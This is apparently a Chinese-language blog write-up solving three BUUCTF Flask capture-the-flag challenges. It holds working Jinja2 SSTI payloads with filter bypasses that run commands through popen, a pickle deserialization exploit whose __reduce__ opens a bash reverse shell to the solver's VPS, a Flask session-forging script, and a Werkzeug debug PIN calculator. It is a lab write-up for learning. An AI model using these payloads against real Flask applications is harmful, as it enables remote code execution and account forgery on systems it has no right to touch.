buu 部分flask题目
# [pasecactf_2019]flask_ssti
一道ssti题目,题目正常执行ssti,尝试猜测过滤了哪些字符
通过测试,可以发现过滤了'
,.
,_
三个字符,还是很好绕过的
过滤了单引号可以用双引号替换,过滤点可以用中括号替换,过滤下划线可以用16进制绕过
class,base往上找到基类Object
,再从基类Object
的子类subclasses里找到os._wrap
子类的索引下标127
往下找init,globals实例化对象调用popen函数执行命令,在根目录下没有flag
nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls /")["read"]()}}
查看app.py源码
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)' # Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = [
'˜”*°★☆★_%s_★☆★°°*',
'%s ~♡ⓛⓞⓥⓔ♡~',
'%s Вêчңø в øĤлâйĤé',
'♪ ♪ ♪ %s ♪ ♪ ♪ ',
'[♥♥♥%s♥♥♥]',
'%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ',
'♔%s♔',
'[♂+♂=♥]%s[♂+♂=♥]'
]
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p is not None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 方法一:逆向
关于flag的关键部分,读取了flag,进行加密放到了config配置里,最后删除了flag文件。加密处理逻辑还在,配置里有加密的flag,逆一下还可以拿flag
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
2
3
4
5
6
拿到配置里的加密flag,{{config}}
def decode(encrypted_flag, key, key2):
decrypted = ''
for x in range(len(encrypted_flag)):
# 解密过程,重复加密操作
char = chr(x ^ ord(encrypted_flag[x]) ^ ord(key[::-1][x]) ^ ord(key2[x]))
decrypted += char
return decrypted
# 已知变量
encrypted_flag = '-M7\x10w\x176=4\x06"c-\x0eL\x03bS(D\x18H\n\x17!oT`\x02^\x12\r!V.,\x17`E^\x1eG'
key = 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2 = 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
# 解密并打印原始flag
flag = decode(encrypted_flag, key, key2)
print("Decrypted flag:", flag)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 方法二:读取进程
题目先注入flag,启动容器,容器读取flag,容器删除flag,整个过程flask进程一直在运行,所以可以读取进程的内存,拿到flag
用ps命令,查看一下flask进程的pid
nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ps -a")["read"]()}}
看到flask进程pid是1
/proc/pid/fd/
目录下存放着这个进程读取操作过的文件,包括文件路径,文件内容等
看一下flask进程的fd目录,可以看到这个目录下存放着删除的flag文件,现在文件名是3
读一下内容
# [HFCTF 2021 Final]easyflask
在/file
路由下提示源码在/app/source
下,读取一下
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
在/proc/self/environ
伪文件里记录当前环境变量,可以看到python版本3.8.2,还可以读到源码里提到的密钥,待会可以用来伪造session
这道题使用pickle反序列化,存在反序列化漏洞,类似php,反序列化的时候可以执行代码,可以通过__reduce__
方法构造一个返回 shell 的对象,__reduce__
方法由用户自定义,用于定义对象的序列化和反序列化过程,在loads()函数调用时,在重建恢复(反序列化)对象时,会恢复reduce方法里的信息,可以达到命令执行的效果
python2和python3反序列化有些差异,这里需要使用python2来反序列化
#!/usr/bin/python3.4
import os
import pickle
from base64 import b64encode
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/你的vpsIP/7777 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
2
3
4
5
6
7
8
9
10
11
12
13
14
15
把ip替换成自己的vpsip,执行脚本,拿到反序列化user对象的字符串
伪造session脚本
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
使用方法:python3 文件名.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'反序列化user对象的字符串'}}"
太有意思啦!!
# [GYCTF2020]FlaskApp
一道flask pin码计算
打开题目,在b64解码界面存在flask模板注入
把payload base64编码一下,flask会进行解码,把执行结果直接渲染到前端。尝试{{7*7}}
,返回了no no no!!
,用{{7+7}}
返回了14,过滤了*
使用base64编码payload,测试到查找子类subclasses
时,服务器502,具体到某个子类时才会正常返回结果
用脚本爆破出os.wrap
在127的位置
import base64
import time
import requests
url = 'http://5ef5ad3d-b154-41a3-80ca-bb36ebf2c0ba.node5.buuoj.cn/decode'
for i in range(200):
text = "{"+"{''.__class__.__base__."+f"__subclasses__()[{i}]"+"}"+"}"
print(text)
text = base64.b64encode(text.encode('utf-8')).decode('utf-8')
data = {
"text":text
}
resp = requests.post(url,data=data)
if "wrap" in resp.text:
print(i)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 方法一:直接命令执行拿flag
现在拿到了os.wrap
,可以做很多事了。题目过滤了popen
,拼接绕过一下,可以直接拿flag了。payload记得base64编码
看其他师傅都是拿debug shell去拿flag,我也试试
# 方法二:flask debug shell
拿到调试的权限需要有pin码认证。可以通过一些数据计算得到pin码
- username
- modname
- getattr(app, 'name', app.class.name)
- getattr(mod, 'file', None)
- uuid
- machine-id
关于username,modname,appnem,moddir
获取方式:
- username:通过/etc/passwd这个文件去猜
- modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
- appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
- moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得
通过查看/etc/passwd
,推测username是flaskweb
modname,appname一般默认,通过报错可以拿到moddir,直接发包一个没有编码的payload就会出现报错信息,拿到路径
关于uuid,machine-id
获取方式
uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来
1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
# 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
# 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
读取/sys/class/net/eth0/address
,查看网卡的mac地址
把mac地址16进制数转成10进制数得到uuidprint(int("4a:72:b2:e2:e1:14".replace(":",""),16)) # 81856487940372
尝试读取/etc/machine-id
,/proc/sys/kernel/random/boot_id
,/proc/self/cgroup
我读到的数据
- /etc/machine-id 1408f836b0ca514d796cbf8960e45fa1
- /proc/sys/kernel/random/boot_id f933f6fe-4e47-48a0-9f0a-717fb8a31f0c # 读到文件1了,这个不用管了
- /proc/self/cgroup 0::/空,不用管了
所以我这里uuid=81856487940372
,machine-id=1408f836b0ca514d796cbf8960e45fa1
把数据拿到脚本里计算pin码559-535-095,到console
目录下认证,拿到debug shell
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb' # /etc/passwd
'flask.app', # 默认
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 报错路径
]
private_bits = [
'81856487940372', # 网卡地址/sys/class/net/ens33/address
'1408f836b0ca514d796cbf8960e45fa1' # 机器码 /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
拿到flag